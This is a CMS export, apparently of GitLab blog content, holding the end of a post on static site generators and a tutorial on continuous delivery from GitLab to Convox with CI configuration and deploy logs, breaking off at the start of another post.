code dynamically and publish\nstatically. No pain, all gain.\n\nThe most fascinating thing of any SSG is the ability to code fast, save money (on web\nhosting), and incredibly [decrease the page loading time][page-load]\n(compared to server-side dynamic webpages). Also, if we have a lot of visitors at the same\ntime, our [static sites have less chance to crash][server-crash] due to server overload\n[than dynamic ones][site-down].\n\n**Note:** if you want to know more about it, read the introductory article for this series:\n\"[SSGs Part 1: Static x Dynamic Websites][part-1]\".\n{: .note}\n\n## Structure of SSGs\n\nThe structure of SSGs is a combination of features to make static sites development faster\nand less repetitive. Let's take a quick look at the list below, then describe them one by one.\n\n- Environment\n- Template engine\n- Markup language\n- Preprocessors\n- Directory structure\n\n### \u003Ci class=\"fas fa-terminal fa-fw\" style=\"color:rgb(226,67,41); font-size:.85em\">\u003C/i> Environment\n{: #environment}\n\nThe **environment**, also called **platform**, consists essentially on the [programming language]\nthe SSG was written in. It will make difference on the configuration, customization, and performance\nof the SSG. Examples: [Ruby], [Python], [Node JS][node].\n\n\u003Ca name=\"template-engine\">\u003C/a>\n\n### \u003Ci class=\"fas fa-cogs fa-flip-horizontal fa-fw\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Template engine\n{: #template_engine}\n\nThe **template engine** is very important we understand, since all the dynamic structure of our sites\nwill depend on that. It's essential that we choose an SSG with a [templating system][template-sys]\nthat we can use comfortably. Examples: [Liquid], [Haml] and [Slim]  (Ruby), [Twig]  (PHP),\n[Swig]  (JavaScript).\n\nTo give you a picture, let's see an example for an HTML file, in which we are using the\n[Liquid Templating Engine][liquid]:\n\n```html\n\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n\t{% include head.html %}\n\u003Cbody>\n\t{% include header.html %}\n\t\u003Cmain class=\"content\">\n\t\t{{ content }}\n\t\u003C/main>\n\t{% include footer.html %}\n\u003C/body>\n\u003C/html>\n```\n\nAs you may have guessed, we have three files for the content that **repeats** sitewide (head, header\nand footer), which are included to every page using this template. The only thing that is different\nis the `{{ content }}` of that page, which is written in a separate file, and also included\ndynamically to the template with this tag. Finally, all the files will be **compiled** to regular\nHTML pages **before** being stored in the web server. This process is called **build**. GitLab Pages\n**builds** any SSG.\n\n_Advantages over flat HTML_\n\n- Minimize typography errors (\"typos\"): all files are considerably reduced, improving readability\n- Avoid repetition: every block repeated sitewide would be included to every page, equivalently\n- Update faster: if we change something in the file `footer.html`, it will affect the entire site\n\n### \u003Ci class=\"fas fa-pencil-alt fa-flip-horizontal fa-fw\" style=\"color:rgb(226,67,41); font-size:.85em\">\u003C/i> Markup language\n{: #markup-language}\n\n**[Markup language]** is a system to write documents making them somehow syntactically distinguishable\nfrom text. [Lightweight markup languages][wiki-markup] have a simplified and unobtrusive syntax, designed to be\neasily written within any text editor. That's what we'll use to write our content.\n\nThe majority of SSGs use **markdown engines** for this purpose. But there are many more\nlightweight markup languages used likely, such as [AsciiDoc], [Textile] and [ReStructuredText].\n\nAmong those SSGs which use markdown markup, generally we are allowed to choose which markdown engine\nwe want to use. It is set up on the site configuration.\nFor example, in Ruby there are a handful of Markdown implementations:\n[Kramdown], [RDiscount], [Redcarpet], [RedCloth].\n\nA blog **post** or a **page** written in [markdown] will most likely start with a **front matter**\nsection containing information about that page or post, and then comes the content just below it.\nThis is an `example.md` file used in a [Jekyll] site, and also an `example.html.md` file for\na [Middleman] site:\n\n```markdown\n---\n# front matter (between three-dashes block)\ntitle: \"Hello World\" # post or page title\ndate: YYYY-MM-DD HH:MM:SS # date and time, e.g. \"2016-04-30 11:00:00\"\nauthor: \"Foo Bar\" # a common variable to exemplify\n---\n\n# An h1 heading\n\nSome text.\n```\n\nThe front matter variables, which are `title`, `date` and `author` for our example above,\ncan be called with template tags all over the site. With Liquid, if we write:\n\n```liquid\n\u003Ch2>Title: {{ page.title }}\u003C/h2>\n\u003Cp>Date: {{ page.date }}\u003C/p>\t \n\u003Cp>By {{ page.author }}\u003C/p>\n```\n\nThe output would be:\n\n```\n\u003Ch2>Title: Hello World\u003C/h2>\n\u003Cp>Date: 2016-04-30 11:00:00\u003C/p>\n\u003Cp>By Foo Bar\u003C/p>\n```\n\nThe content for our example would output simply:\n\n```html\n\u003Ch1>An h1 heading\u003C/h1>\n\u003Cp>Some text.\u003C/p>\n```\n\n### \u003Ci class=\"fas fa-puzzle-piece fa-fw\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Preprocessors\n{: #preprocessors}\n\nThe **preprocessors** are made to speed up our development process too. They simplify\nthe way we code, and then compile their own files into standard ones. Examples: [Sass]\nand [Stylus] for CSS, [CoffeeScript] for JavaScript.\n\nAgain, just to give you a picture, check a CSS code block written in CSS directly, and\nthe other written in Sass:\n\nCSS:\n\n```css\nh1 {\n  color: #333;\n  padding-top: 30px;\n}\np {\n  color: #333;\n}\n```\n\nSass:\n\n```sass\n$clr = #333\nh1\n  color: $clr\n  padding-top: 30px\np\n  color: $clr\n```\n\nIn a large-scale styling, saving all curly brackets `{ }` and semi-colons `;` makes a lot\nof difference for who is typing. Also, with Sass variables (e.g., `$clr` above), we can\ndefine some standards and apply them all over our stylesheets. In the end, everything\nwill be compiled to regular CSS. There are more interesting features and advantages of \npreprocessors, but that's not in focus on this post. \n\nBy the way, the given Sass example will be compiled exactly to the CSS code above it.\n\n### \u003Ci class=\"far fa-folder-open fa-fw\" style=\"color:rgb(226,67,41); font-size:.85em\">\u003C/i> Directory structure\n{: #directory-structure}\n\nThe **directory structure** is different for each SSG. It's important to study the file\ntree before we start working with an SSG, otherwise we might face odd build errors that\nwe won't understand solely because we didn't use its structure accordingly.\nExamples: [Hexo structure][hexo-struc], [Middleman structure][middle-struc],\n[Jekyll structure][jekyll-struc]. So, just make sure you add new files to the correct directories.\n\n## SSGs built-in features\n\nIn addition to their standard components, there are also a number of built-in features\nthat make building and previewing static sites easier - and faster. For example:\n\n- Most of SSGs have a pre-installed server for previewing the sites locally\n- Some of them also contain in their installation package a LiveReload plugin, so we\ndon't need to refresh the page in our browser every time we save it\n- Most of them provide us with built-in compilers for their supported preprocessors\n\n## Blog-Aware SSGs\n\nOne of the most attractive features for the majority of modern SSGs is the ability to manage\nblog content without the need of storing posts, or post contents,\nin databases or in server-side-only processed files.\n\nA blog-aware website generator will create blog-style content, such as lists of content in\nreverse chronological order, archive lists, and other common blog-style features.\nHow would an SSG do that?\n\nWith their file tree and their template engine. The file tree defines the specific\ndirectory for `posts` and the template engine calls the posts dynamically.\n\nWith a `for` loop through the posts, they can be displayed in a single page, as\nillustrated below (with [Liquid]):\n\n```liquid\n  \u003Cul>\n    {% for post in site.posts %}\n      \u003Cli>\n        \u003Cspan>{{ post.date }}\u003C/span>\n        \u003Ch2>\n          \u003Ca class=\"post-link\" href=\"{{ post.url }}\">{{ post.title }}\u003C/a>\n        \u003C/h2>\n      \u003C/li>\n    {% endfor %}\n  \u003C/ul>\n```\n\nThis code means that, **for each post** within the **site posts**\n(`{% for post in site.posts %}`), all of them would be displayed as items of an\nunordered list of posts, within links for their respective paths.\n\nOf course, we can adapt the HTML structure according to our needs. Also, we can use\nthe blog-aware structure to create different kinds of dynamic insertion. For example,\nwe could use them to display multiple things within the same category, as a collection\nof photos, books, etc. So, each time we add a new item, the SSG uses it's template\nengine to bring our collections together.\n\n## Supported content\n\nStatic servers fully support any language or script interpreted by browsers, known as\n[**client-side** processing][part-1]. Let's just remember that a static site is essentially\ncomposed of three components: the structure (HTML), the layout and styles (CSS),\nand the behavior (JavaScript).\n\n_Supported languages and file extensions_\n\n- Common file extensions: `.html` / `.css` / `.js` / `.xml` / `.pdf` / `.txt`\n- Common media files: [images], [audio], [video], [SVG]\n\n_Supported interactive services (examples)_\n\n- Commenting Systems (e.g., [Disqus], [Facebook Comments], and [many others][comment-systems])\n- Live Chat (e.g., [JivoChat], [Tawk.to])\n- [PayPal Payments Standard]\n- [Facebook Social Plugins]\n- [Twitter Kit]\n- Google Apps (e.g., [Analytics], [Adwords], [AdSense], etc)\n- Site Search Engine (e.g., [Google Search][google-cse], [Swiftype], [Tipue])\n- Mailing lists and blog subscriptions (e.g., [MailChimp])\n\n_Supported utilities (examples)_\n\n- HTML/CSS/JS frameworks and libraries. E.g, [Bootstrap], [Foundation], [Normalize], [Modernizr], [Skeleton], [jQuery], [HTML5 Boilerplate][html5-boiler], [Animate.css]\n- [Schema.org] markup, making [search engines][schema-seo] to understand our site content better. This is [one of the numerous SEO][seo] techniques\n- [Sitemaps], important for [SEO][seo-sitemaps] too. E.g., [Jekyll Sitemap plugin][jek-sitemap], [Middleman Sitemap][middle-sitemap], [Hexo Sitemap plugin][hexo-sitemap]\n\n## Limitations of SSGs\n\nWe've just described what we **can do** with SSGs. Now let's see what we **cannot**.\n\n- Register users\n- Have admin access\n- Send emails via `mail()` function\n- Use any server-side language or script\n\nThese kinds of actions depend necessarily on server-side processing, which are not handled\nby static-only web servers, as we explained in the [first post of this series][part-1].\n\n### Overcoming the limitations\n\n_User Authentication_\n\nDespite not having the ability to register users, nor having admin access for ourselves,\nwith tools like [Firebase] we can power-up our static site with\n[user authentication][firebase-user-auth]. Find more [cool stuff][firebase-cool-stuff] here,\nfrom the same source.\n\n_Content management_\n\nWe can edit the content of our SSGs directly from the web browser with [Teletext.io]. We can't\ncreate new pages, but we can edit pages' content easily. Follow the [Teletext.io tutorial] to learn\nhow to implement this for your own website.\n\n_Contact Forms_\n\nYes, we can offer contact forms in our static websites. We can't process the **server-side**\nscript in our static-server, but there are some third-party services we can use for that.\nFor example, you can try [Formspree], [FormKeep], [Wufoo], [FoxyForm], [Google Forms] or any\nother related service . However, if you want to take control over your mail script, you can\ntry the [parse method with SendGrid][sendgrid-parse].\n\n_JavaScript disabled_\n\nEverything based on JavaScript is allowed to be added to our static sites. However, if\nJavaScript is disabled on the user's browser, those scripts will not work. But there is\nsomething we can do to minimize this issue. We can add a [`\u003Cnoscript>`][no-script] tag\nto our web pages, containing a message that will be displayed only if JavaScript disabled:\n\n```html\n\u003Cnoscript>Please enable JavaScript on your browser for a better experience with this website!\u003C/noscript>\n```\n\n## Conclusion\n\nHopefully now you understand the logic of Static Site Generators, how we can use them wisely,\nand what we can and cannot do with them. Dynamic websites are great, for sure. \nBut if we don't need all their functionality, SSGs are certainly wonderful alternatives.\n\nIn the [third post][part-3], which is the last chapter of this series, we will bring you a lot of examples\nfor SSGs already running on GitLab Pages. Therefore, we're confident you'll be able to see and \nunderstand different GitLab CI configurations, and create your own.\n\nWe already have prepared a bunch of SSGs example projects, you'll find them in the\n[GitLab Pages][ci-examples] official group. You are very welcome to [contribute][pages-contribute]\nwith new SSGs.\n\nDon't you have an account on [GitLab.com][sign-up] yet? Let's create one! Remember, we can\nuse GitLab Pages to [build any SSG][post-pages] for us and host it for free!\n\nFollow [@GitLab][twitter] on Twitter and stay tuned for updates!\n\n### Useful links\n\n- [GitLab Pages Quick Start][pages] - learn how to get started with GitLab Pages by forking an existing project\n- [GitLab Pages on GitLab.com][post-pages] - learn how to set up a GitLab Pages project from strach\n- [GitLab Pages Docs][pages-ee] - the official documentation with all the details you might be interested in\n- [SSGs Part 1: Static vs Dynamic Websites][part-1] - the first post of this series\n- [SSGs Part 3: Build any SSG site with GitLab Pages][part-3] - the third post of this series\n\n\u003C!-- Cover image: https://unsplash.com/photos/6g0KJWnBhxg -->\n\n\u003C!-- IDENTIFIERS -->\n\n\u003C!-- Alphabetical, miscellaneous -->\n\n[part-1]: /blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static/\n[part-3]: /blog/ssg-overview-gitlab-pages-part-3-examples-ci/\n\n[AdSense]: https://support.google.com/adsense/answer/181950\n[Adwords]: https://support.google.com/adwords/answer/6331314\n[Analytics]: https://developers.google.com/analytics/devguides/collection/analyticsjs/\n[AsciiDoc]: https://en.wikipedia.org/wiki/AsciiDoc\n[audio]: http://www.w3schools.com/html/html5_audio.asp\n[comment-systems]: http://brianshim.com/webtricks/add-a-comment-wall-to-your-website/\n[Disqus]: https://disqus.com/\n[Facebook Comments]: https://developers.facebook.com/docs/plugins/comments\n[Facebook Social Plugins]: https://developers.facebook.com/docs/plugins\n[firebase]: https://www.firebase.com/\n[firebase-cool-stuff]: https://www.firebase.com/docs/web/examples.html\n[firebase-user-auth]: http://jsfiddle.net/firebase/a221m6pb/\n[FormKeep]: https://formkeep.com/\n[Formspree]: https://formspree.io/\n[foxyform]: http://www.foxyform.com/\n[google-cse]: https://support.google.com/customsearch/answer/4513751?hl=en&ref_topic=4513742&rd=1\n[Google Forms]: https://www.google.com/forms/about/\n[HTML5]: http://www.w3schools.com/html/html5_intro.asp\n[images]: http://vormplus.be/blog/article/using-images-in-your-html5-document\n[Jekyll]: https://jekyllrb.com\n[JivoChat]: https://www.jivochat.com/\n[MailChimp]: http://mailchimp.com/\n[Markup language]: https://en.wikipedia.org/wiki/Markup_language\n[no-script]: http://www.w3schools.com/tags/tag_noscript.asp\n[page-load]: https://www.smashingmagazine.com/2015/11/modern-static-website-generators-next-big-thing/#dynamic-websites-and-caching\n[PayPal Payments Standard]: https://developer.paypal.com/docs/classic/button-manager/integration-guide/SOAP/ButtonMgrOverview\n[programming language]: https://en.wikipedia.org/wiki/Programming_language\n[Schema.org]: http://schema.org/\n[schema-seo]: http://schema.org/docs/gs.html\n[sendgrid-parse]: https://sendgrid.com/blog/send-email-static-websites-using-parse/\n[SEO]: http://www.wordstream.com/blog/ws/2014/03/20/schema-seo\n[seo-sitemaps]: http://www.webconfs.com/importance-of-sitemaps-article-17.php\n[server-crash]: http://noahveltman.com/static-dynamic/\n[sitemaps]: https://support.google.com/webmasters/answer/156184?hl=en\n[site-down]: http://www.sitepoint.com/wordpress-vs-jekyll-might-want-make-switch/#2-wordpress-struggles-under-heavy-load\n[SSGs]: https://www.staticgen.com/\n[svg]: https://en.wikipedia.org/wiki/Scalable_Vector_Graphics\n[swiftype]: https://swiftype.com/\n[Tawk.to]: https://www.tawk.to/\n[teletext.io]: https://teletext.io/\n[teletext.io tutorial]: https://medium.com/teletext-io-blog/empower-your-static-generated-jekyll-site-with-instant-content-management-capabilities-82ce5569d7fb#.v2vo6pp2n\n[template-sys]: https://en.wikipedia.org/wiki/Web_template_system\n[tipue]: http://www.tipue.com/\n[Twitter Kit]: https://dev.twitter.com/web/overview\n[video]: http://www.w3schools.com/html/html5_video.asp\n[wiki-markup]: https://en.wikipedia.org/wiki/Lightweight_markup_language\n[Wufoo]: http://www.wufoo.com/\n\n\u003C!-- GitLab -->\n\n[get-help]: /get-help/\n[gitlab-com]: /gitlab-com/\n[pages]: https://pages.gitlab.io\n[pages-ee]: http://doc.gitlab.com/ee/pages/README.html\n[pages-issues]: https://gitlab.com/pages/pages.gitlab.io/issues\n[post-pages]: /blog/gitlab-pages-setup/\n[sign-up]: https://gitlab.com/users/sign_in \"Sign Up!\"\n[twitter]: https://twitter.com/gitlab\n\n\u003C!-- SSGs -->\n\n[hexo-struc]: https://hexo.io/docs/setup.html\n[jekyll-struc]: https://jekyllrb.com/docs/structure/\n[Middleman]: https://middlemanapp.com/\n[middle-struc]: https://middlemanapp.com/basics/directory-structure/\n\n[jek-sitemap]: https://github.com/jekyll/jekyll-sitemap\n[middle-sitemap]: https://middlemanapp.com/advanced/sitemap/\n[hexo-sitemap]: https://github.com/hexojs/hexo-generator-sitemap\n\n\u003C!-- Languages, preprocessors, libraries and frameworks -->\n\n[animate.css]: https://daneden.github.io/animate.css/\n[Bootstrap]: http://getbootstrap.com\n[CoffeeScript]: http://coffeescript.org/\n[Foundation]: http://foundation.zurb.com/\n[go]: https://golang.org/\n[haml]: http://haml.info/\n[html5-boiler]: https://html5boilerplate.com/\n[jquery]: http://code.jquery.com/\n[kramdown]: http://kramdown.gettalong.org/\n[liquid]: https://shopify.github.io/liquid/\n[markdown]: https://en.wikipedia.org/wiki/Markdown\n[modernizr]: https://modernizr.com/\n[node]: https://nodejs.org/en/\n[normalize]: https://necolas.github.io/normalize.css/\n[Python]: https://www.python.org/\n[rdiscount]: http://dafoster.net/projects/rdiscount/\n[redcarpet]: https://github.com/vmg/redcarpet\n[redcloth]: http://redcloth.org/\n[restructuredtext]: https://en.wikipedia.org/wiki/ReStructuredText\n[Ruby]: https://www.ruby-lang.org/\n[Sass]: http://sass-lang.com/\n[skeleton]: http://getskeleton.com/\n[Slim]: http://slim-lang.com/\n[Stylus]: http://stylus-lang.com/\n[textile]: https://en.wikipedia.org/wiki/Textile_(markup_language)\n[twig]: http://twig.sensiolabs.org/\n\n\u003C!-- Groups -->\n\n[ci-examples]: https://gitlab.com/groups/pages\n[jekyll-examples]: https://gitlab.com/groups/jekyll-themes\n[middle-examples]: https://gitlab.com/groups/middleman-themes\n[pages-contribute]: https://gitlab.com/pages/pages.gitlab.io/blob/master/CONTRIBUTING.md\n[themes-templates]: https://gitlab.com/themes-templates\n",{"slug":38042,"featured":6,"template":678},"ssg-overview-gitlab-pages-part-2","content:en-us:blog:ssg-overview-gitlab-pages-part-2.yml","Ssg Overview Gitlab Pages Part 2","en-us/blog/ssg-overview-gitlab-pages-part-2.yml","en-us/blog/ssg-overview-gitlab-pages-part-2",{"_path":38048,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38049,"content":38055,"config":38060,"_id":38062,"_type":16,"title":38063,"_source":17,"_file":38064,"_stem":38065,"_extension":20},"/en-us/blog/continuous-delivery-with-gitlab-and-convox",{"title":38050,"description":38051,"ogTitle":38050,"ogDescription":38051,"noIndex":6,"ogImage":38052,"ogUrl":38053,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38053,"schema":38054},"Continuous Delivery with GitLab and Convox","This tutorial will show you how to use GitLab and Convox together to ship software quickly and reliably.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684833/Blog/Hero%20Images/gitlab-convox-cover.jpg","https://about.gitlab.com/blog/continuous-delivery-with-gitlab-and-convox","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Continuous Delivery with GitLab and Convox\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Noah Zoschke\"}],\n        \"datePublished\": \"2016-06-09\",\n      }",{"title":38050,"description":38051,"authors":38056,"heroImage":38052,"date":38058,"body":38059,"category":813},[38057],"Noah Zoschke","2016-06-09","\n[Convox](https://convox.com/) is an open-source tool for deploying, managing, and monitoring applications on cloud infrastructure. It increases the productivity of your developers, reduces your infrastructure spend, and ensures that your architecture is resilient, consistent, and compliant.\n\nRecently, Convox launched a native integration with [GitLab](/) for Continuous Delivery (CD). This tutorial will show you how to use GitLab and Convox together to ship software quickly and reliably.\n\n**Note:** For this tutorial we assume you are familiar with Continuous Deployment (CD) and have a GitLab, [Slack](https://slack.com/) and [Amazon Web Services](https://aws.amazon.com/) (AWS) account. We also assume you are curious about how [Convox](https://convox.com/) utilities make setting up a private, production-ready cloud environment easy.\n{: .note}\n\n\u003C!-- more -->\n\n----------\n\n### What's in this page?\n{:.no_toc}\n\n- TOC\n{: toc}\n\n----\n\n## Continuous Delivery\n\nContinuous Delivery (CD) is a modern software development best practice. Your team wants and needs the ability to safely push updates to production multiple times a day. With a great CD pipeline you can:\n\n* Ship features faster and more frequently\n* Roll out bug fixes and security patches instantly\n* Keep your development team in a coding flow\n* Eliminate work and interruptions on infrastructure that’s not core to your business\n\nIf you don’t have CD tools, you may be spending too much precious time and budget on infrastructure, servers and bespoke deployment tools.\n\nSee the [Wikipedia article on Continuous Delivery](https://en.wikipedia.org/wiki/Continuous_delivery) for more details about the Continuous Delivery approach.\n\n## CD with GitLab and Convox\n\nThe best Continuous Delivery workflow offers a way to `git push` code and automatically deploy it to resilient cloud infrastructure.\n\nConvox and GitLab together represent a modern open-source based Continuous Delivery solution. With both of them your team can:\n\n* **Set up a private deployment cloud in minutes** with `convox install`\n* **Create a production-ready application** with `convox apps create`\n* **Link GitLab.com or GitLab CE/EE and Slack to your deployment cloud** through the Convox Console\n* **Push code to GitLab** with `git push`\n* **Let GitLab webhooks or CI automate builds**, tests and deploys of your code to Convox\n* **Notify your team via Slack** when the new release is live\n\nThis level of automation enables your team to safely release new code as fast as possible, offering an extremely productive workflow for you and your team.\n\nAll of this is built on open-source software that you are free to read, modify, and work with the OSS communities to improve.\n\nOn top of the open-source projects, both GitLab and Convox offer enterprise-grade options to run this in a totally isolated environment where your code, images and containers never leave your control.\n\n![Continuous Delivery from GitLab to Convox](https://about.gitlab.com/images/blogimages/continuous-delivery-with-gitlab-and-convox/gitlab-integration.png)*Continuous Delivery from GitLab to Convox*\n\n![Push Code, Get Service](https://about.gitlab.com/images/blogimages/continuous-delivery-with-gitlab-and-convox/slack.png)*Push Code, Get Service*\n\n### Setting up a Convox Deployment Environment\n\nWe first need to configure an isolated environment where we will deploy everything. When deploying to AWS, there is a minimum architecture we want for a production-ready environment. Convox makes this simple with the `convox install` and `convox apps create` tools. Click the \"Get Started\" button on [convox.com](https://convox.com/) to access the web or command line installer.\n\nConvox expertly integrates the following AWS services:\n\n* Virtual Private Cloud spanning 3 availability zones for network isolation\n* EC2 and an AutoScale Group (ASG) with at least 3 instances for redundancy\n* CloudFormation stacks for safe, automated updates for new AMIs or to scale up instance type and count\n* EC2 Container Service (ECS) for container-based zero downtime deploys\n* EC2 Container Registry (ECR) for storing build artifacts\n* Elastic Load Balancer (ELB) for SSL, websockets and load balancing\n* CloudWatch Logs for log tailing, archiving and search\n\nWith this consistent, batteries-included cluster setup with the `convox` tools we can now relibly deploy, configure and scale our applications.\n\nYou can read the [Getting Started on Convox](https://convox.com/docs/getting-started/) guide for more detailed instructions about setting everything up.\n\n### Granting GitLab and Slack Auth to Convox\n\nEvery service integration begins with authorizing two services to talk to each other. For the first iteration of GitLab and Convox, we opted for a simple token-based solution.\n\n![Get your GitLab Private Token](https://about.gitlab.com/images/blogimages/continuous-delivery-with-gitlab-and-convox/gitlab-account.png)*Get your GitLab Private Token*\n\n![Give Convox your GitLab Endpoint and Token](https://about.gitlab.com/images/blogimages/continuous-delivery-with-gitlab-and-convox/gitlab-setup.png)*Give Convox your GitLab Endpoint and Token*\n\nConvox encrypts this token, and decrypts it when it needs to perform actions on your GitLab instance like creating a webhook and deploy key.\n\nSimilarly, you integrate Convox and Slack with an OAuth flow.\n\nNow Convox has access tokens to get and send information to GitLab and Slack.\n\n### Git Push Webhooks\n\n[Webhooks](https://docs.gitlab.com/ee/web_hooks/web_hooks.html) — user-defined HTTP callbacks — are the fabric on which Continuous Deployment systems are built.\n\nGitLab has tremendous webhook support, allowing you to configure how it will make an HTTPS request to an external system on events like every comment, code push and code merge.\n\nWhen you integrate GitLab with a Convox app, the first thing Convox does is add a new Push Event webhook to your project pointing to a secure and secret Convox URL.\n\n![Tell Convox About the Push](https://about.gitlab.com/images/blogimages/continuous-delivery-with-gitlab-and-convox/gitlab-webhooks.png)*Tell Convox About the Push*\n\nWhen this is configured, Convox will get a notification every time your team pushes new code.\n\n### GitLab Deploy Keys\n\nGitLab has an impeccable security model. If a system like Convox happens to learn the URL for a private repo via a webhook, we still want to control its ability to read or write to this private repo.\n\nTo grant Convox limited, read-only access to your private repo, GitLab offers “[Deploy Keys](https://docs.gitlab.com/ee/user/project/deploy_keys/).” These are SSH keys that have read-only access to a repo, guaranteeing that a third-party system can clone code, but can not push any code back.\n\n![Read-only SSH key](https://about.gitlab.com/images/blogimages/continuous-delivery-with-gitlab-and-convox/gitlab-deploy-key.png)*Read-only SSH key*\n\nWhen you integrate GitLab with a Convox app, the next thing Convox does is generate a new SSH keypair, encrypt and save the private key, and set up a new Deploy Key with the public key.\n\nWith a webhook and deploy key, Convox can dutifully perform an automatic build and/or deploy.\n\n### Delivering Code to Production\n\nNow that a Convox environment is running and it is authorized to get webhooks and pull code from GitLab, and send notifications to Slack, we can do our first `git push` deploy that rolls out new containers:\n\n```\n$ git push gitlab master\nCounting objects: 8, done.\nDelta compression using up to 4 threads.\nCompressing objects: 100% (8/8), done.\nWriting objects: 100% (8/8), 758 bytes | 0 bytes/s, done.\nTotal 8 (delta 7), reused 0 (delta 0)\nTo https://gitlab.com/nzoschke/httpd.git\n   176d4d2..896d06b  master -> master\n\n$ convox builds\nID           STATUS    RELEASE      STARTED         ELAPSED DESC\nBCPSBDTVSVB  complete  RQYRSVEXGLD  56 seconds ago  52s      push nzoschke/httpd refs/heads/master 896d06b2a72e702c3c2efe8fae9670bd19f5f255\nBSZIBYZFDDU  complete  RVUEQWAOHTN  5 days ago      60s      push nzoschke/httpd refs/heads/master 176d4d22d0631c1223ea7ba31d80f837e4a24390\n\n$ convox builds info BCPSBDTVSVB\nRUNNING: git clone --progress git@gitlab.com:nzoschke/httpd.git src\nRUNNING: git checkout 896d06b2a72e702c3c2efe8fae9670bd19f5f255\nRUNNING: /usr/local/bin/git-restore-mtime .\nRUNNING: docker pull httpd\n...\ncb604ab7d359: Pull complete\nDigest: sha256:3eae43b977887f7f660c640ba8477dc1af1626d757ff1a7ddba050418429f2f6\nStatus: Downloaded newer image for httpd:latest\nRUNNING: docker tag -f httpd httpd/web\nRUNNING: docker tag -f httpd/web 132866487567.dkr.ecr.us-east-1.amazonaws.com/convox-httpd-owdnefujkr:web.BCPSBDTVSVB\nRUNNING: docker push 132866487567.dkr.ecr.us-east-1.amazonaws.com/convox-httpd-owdnefujkr:web.BCPSBDTVSVB\nThe push refers to a repository [132866487567.dkr.ecr.us-east-1.amazonaws.com/convox-httpd-owdnefujkr] (len: 1)\n...\nweb.BCPSBDTVSVB: digest: sha256:943ca8f7dbbbfa99f761fae8f8f8d57fa99b6ac7b939ce787ec33735ec68edcb size: 23914\n\n$ convox releases\nID           CREATED       STATUS\nRQYRSVEXGLD  1 minute ago  active\nRVUEQWAOHTN  5 days ago    active\n\n$ convox ps\nID            NAME  RELEASE      SIZE  STARTED         COMMAND\n1bac0db9b7b5  web   RQYRSVEXGLD  256   25 seconds ago  httpd-foreground\n47542b8458a8  web   RVUEQWAOHTN  256   5 days ago      httpd-foreground\nd29eb239fda9  web   RQYRSVEXGLD  256   25 seconds ago  httpd-foreground\nef1d2825f528  web   RVUEQWAOHTN  256   1 day ago       httpd-foreground\n```\n\nYou can see that release `RQYRSVEXGLD` is rolling out and replacing an older release `RVUEQWAOHTN`. In a few more seconds the new code will be up and running. The build and zero-downtime deploy is fully automated by Convox and GitLab.\n\nThe final icing on the cake is that your whole team is notified about the new release on Slack:\n\n![Push Code, Get Service](https://about.gitlab.com/images/blogimages/continuous-delivery-with-gitlab-and-convox/slack.png)*Push Code, Get Service*\n\n### Automated Testing\n\nI'm sure you noticed that we went directly from a code push to production. This demonstrates all the heavy lifting, and may be suitable for QA or staging workflows, but for anything going out to production we almost certainly want to run some tests too.\n\nThis is possible to set up with a few changes. [GitLab CI](/solutions/continuous-integration/) is an excellent tool and service for automating tests.\n\nYou can tell GitLab to deploy to Convox by setting `CONVOX_PASSWORD` as a User-defined variable, then adding a `.gitlab-ci.yml` file similar to:\n\n```yaml\ntest:\n  script:\n  - make test\n\nproduction:\n  type: deploy\n  script:\n  - curl -Ls https://install.convox.com/linux.zip > convox.zip\n  - unzip convox.zip\n  - convox login\n  - convox switch org/rack\n  - convox deploy --app app\n  only:\n  - tags\n```\n\nSee the [CI Variables](https://docs.gitlab.com/ee/ci/variables/) doc and [GitLab CI Examples](https://docs.gitlab.com/ee/ci/examples/) doc for more information.\n\n## Open Source Evolution\n\nBoth GitLab and Convox are always working hard to improve APIs, integrations and tools for automating continuous delivery as open-source projects.\n\nWe encourage you to participate in the open-source projects future enhancements in this space such as a more formal [GitLab Deploy](https://gitlab.com/gitlab-org/gitlab-ce/issues/3286#note_4141009) enhancement and the [Convox Build / Deploy / Release Pipeline](https://github.com/convox/rack/milestones/Build%20/%20Deploy%20/%20Release%20Pipeline) milestone.\n\n## Conclusion\n\nAs you can tell, there are a lot of details to coordinate between your team pushing code and delivering it as a production service in the cloud.\n\nGitLab and Convox understand how important Continuous Delivery is and have gone to great lengths to make this process available to everyone with free and open-source software.\n\n## About guest author Noah Zoschke\n\n[Noah](https://medium.com/@nzoschke) is CTO at Convox. Previously he was Platform Architect at Heroku. He believes that the cloud should be easy to use, secure, reliable and cost effective for teams and systems of all sizes. He believes that simple, open-source tools will unlock this true utility of the cloud.\n",{"slug":38061,"featured":6,"template":678},"continuous-delivery-with-gitlab-and-convox","content:en-us:blog:continuous-delivery-with-gitlab-and-convox.yml","Continuous Delivery With Gitlab And Convox","en-us/blog/continuous-delivery-with-gitlab-and-convox.yml","en-us/blog/continuous-delivery-with-gitlab-and-convox",{"_path":38067,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38068,"content":38074,"config":38078,"_id":38080,"_type":16,"title":38081,"_source":17,"_file":38082,"_stem":38083,"_extension":20},"/en-us/blog/getting-started-with-gitlab-development-kit",{"title":38069,"description":38070,"ogTitle":38069,"ogDescription":38070,"noIndex":6,"ogImage":38071,"ogUrl":38072,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38072,"schema":38073},"Getting Started with GitLab Development Kit","This post is helpful if you've considered developing a feature or fix for GitLab but are unsure how to set up a development environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684698/Blog/Hero%20Images/getting-started-with-gitlab-development-kit.jpg","https://about.gitlab.com/blog/getting-started-with-gitlab-development-kit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting Started with GitLab Development Kit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Drew Blessing\"}],\n        \"datePublished\": \"2016-06-08\",\n      }",{"title":38069,"description":38070,"authors":38075,"heroImage":38071,"date":38076,"body":38077,"category":734},[38020],"2016-06-08","\n\n> This post is part of a series [Celebrating 1,000 